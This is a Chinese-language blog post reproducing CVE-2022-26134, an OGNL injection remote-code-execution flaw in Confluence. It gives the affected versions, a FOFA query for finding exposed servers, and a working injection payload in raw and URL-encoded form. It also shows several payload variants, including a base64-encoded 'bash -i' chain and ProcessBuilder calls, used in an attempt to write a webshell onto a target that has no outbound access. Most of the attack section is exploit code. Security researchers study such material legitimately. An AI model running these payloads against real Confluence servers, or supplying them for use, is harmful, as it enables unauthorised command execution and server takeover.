目录
  1. 1. 漏洞介绍
  2. 2. 影响版本
  3. 3. 漏洞复现
    1. 3.1 fofa语法
    2. 3.2 POC
    3. 3.3 脚本
  4. 4. POC变形尝试写入shell
CVE-2022-26134:Confluence远程命令执行漏洞复现

1. 漏洞介绍

         Confluence是一个专业的企业知识管理与协同软件,也可以用于构建企业wiki。使用简单,但它强大的编辑和站点管理特征能够帮助团队成员之间共享信息、文档协作、集体讨论,信息推送。
        2022年6月04日,360CETR监测发现Atlassian官方发布了Confluence OGNL 注入漏洞的风险通告,漏洞编号为CVE-2022-26134,漏洞等级:严重,漏洞评分:9.8。目前该漏洞安全补丁已发布,漏洞细节已公开,POC(概念验证代码)已公开,在野利用已发现。但由于本人太菜的原因,因为无法写入webshell,且目标机不出网等,并未发现该漏洞能造成很大的影响。

2. 影响版本

Confluence Server and Data Center >= 1.3.0
Confluence Server and Data Center < 7.4.17
Confluence Server and Data Center < 7.13.7
Confluence Server and Data Center < 7.14.3
Confluence Server and Data Center < 7.15.2
Confluence Server and Data Center < 7.16.4
Confluence Server and Data Center < 7.17.4
Confluence Server and Data Center < 7.18.1

3. 漏洞复现

3.1 fofa语法

"Confluence Data Center" && title=="登录 - Confluence"

3.2 POC

/${(#a=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec("id").getInputStream(),"utf-8")).(@com.opensymphony.webwork.ServletActionContext@getResponse().setHeader("X-Cmd-Response",#a))}/

url编码

/%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22id%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Response%22%2C%23a%29%29%7D/

3.3 脚本

用法

python3 cve-2022-26134.py url command

4. POC变形尝试写入shell

         在遇到rce的目标,我们一般会选择反弹shell或者写入webshell,不过在这里是不出网的,所以反弹shell以及weget下载shell这条路我们走不通,所以选择自己写入webshell。
         首先我们尝试随便写入txt文件,touch test.txt,可以发现,我们创建了test.txt文件


         我们尝试向test.txt中写入内容echo test > test.txt

这里我们的命令参数原样输出了,cat test.txt看一下,果然为空。

这里涉及到java Runtime.exec()这个方法,在java中Runtime存在两个exec()方法,一个是接收字符串,但字符串会破坏我们命令的结构,导致命令后面的>、>>等不会解析,导致echo后面的参数整个输出。一个是接收数组,有兴趣的可以自行了解下,这里不过多阐述。这里需要构造数组传入。
这里有几种方法,第一种,直接在exec()中构造数组传入new String[] {"/bin/sh","-c", "echo 123 > 1.txt"}
POC1
${(#a=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec(new String[] {"/bin/sh","-c", "echo 123 > test.txt"}).getInputStream(),"utf-8")).(@com.opensymphony.webwork.ServletActionContext@getResponse().setHeader("X-Cmd-Response",#a))}
url编码
%24%7B(%23a%3D%40org.apache.commons.io.IOUtils%40toString(%40java.lang.Runtime%40getRuntime().exec(new%20String%5B%5D%20%7B%22%2Fbin%2Fsh%22%2C%22-c%22%2C%20%22echo%20123%20%3E%20test.txt%22%7D).getInputStream()%2C%22utf-8%22)).(%40com.opensymphony.webwork.ServletActionContext%40getResponse().setHeader(%22X-Cmd-Response%22%2C%23a))%7D

这里执行失败,估计是过滤了什么东西,尝试其他pocjava.lang.Runtime.exec() Payload
bash -c {echo,ZWNobyBhYWEgPiAxLnR4dA==}|{base64,-d}|{bash,-i}

POC2

${(#a=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec("bash -c {echo,ZWNobyBhYWEgPiAxLnR4dA==}|{base64,-d}|{bash,-i}").getInputStream(),"utf-8")).(@com.opensymphony.webwork.ServletActionContext@getResponse().setHeader("X-Cmd-Response",#a))}
url编码
%24%7B(%23a%3D%40org.apache.commons.io.IOUtils%40toString(%40java.lang.Runtime%40getRuntime().exec(%22bash%20-c%20%7Becho%2CZWNobyBhYWEgPiAxLnR4dA%3D%3D%7D%7C%7Bbase64%2C-d%7D%7C%7Bbash%2C-i%7D%22).getInputStream()%2C%22utf-8%22)).(%40com.opensymphony.webwork.ServletActionContext%40getResponse().setHeader(%22X-Cmd-Response%22%2C%23a))%7D

依然失败,后面经过测试发现,只要传入}就会执行失败,但是}又是必要的,通过编码也不能执行,在多次尝试失败后,请教了java大佬,再次对poc经过变形,最终发现${(#a=@org.apache.commons.io.IOUtils@toString(new java.lang.ProcessBuilder("id").start().getInputStream(),"utf-8")).(@com.opensymphony.webwork.ServletActionContext@getResponse().setHeader("X-Cmd-Response",#a))}同样可以执行命令。
url编码
%24%7B(%23a%3D%40org.apache.commons.io.IOUtils%40toString(new%20java.lang.ProcessBuilder(%22id%22).start().getInputStream()%2C%22utf-8%22)).(%40com.opensymphony.webwork.ServletActionContext%40getResponse().setHeader(%22X-Cmd-Response%22%2C%23a))%7D

当我高兴的使用${(#a=@org.apache.commons.io.IOUtils@toString(new java.lang.ProcessBuilder("touch","test.txt").start().getInputStream(),"utf-8")).(@com.opensymphony.webwork.ServletActionContext@getResponse().setHeader("X-Cmd-Response",#a))}创建文件时,发现只是大梦一场空。

严重声明:本站内容仅适用于网络安全技术和信息安全爱好者学习研究使用,禁止用于非法用途,学习中请遵循国家相关法律法规,共同维护网络安全

文章作者: Corey
文章链接: https://c-hasel.github.io/2022/06/14/CVE-2022-26134-Confluence%E8%BF%9C%E7%A8%8B%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 Corey's Blog
打赏
  • 微信
  • 支付宝

评论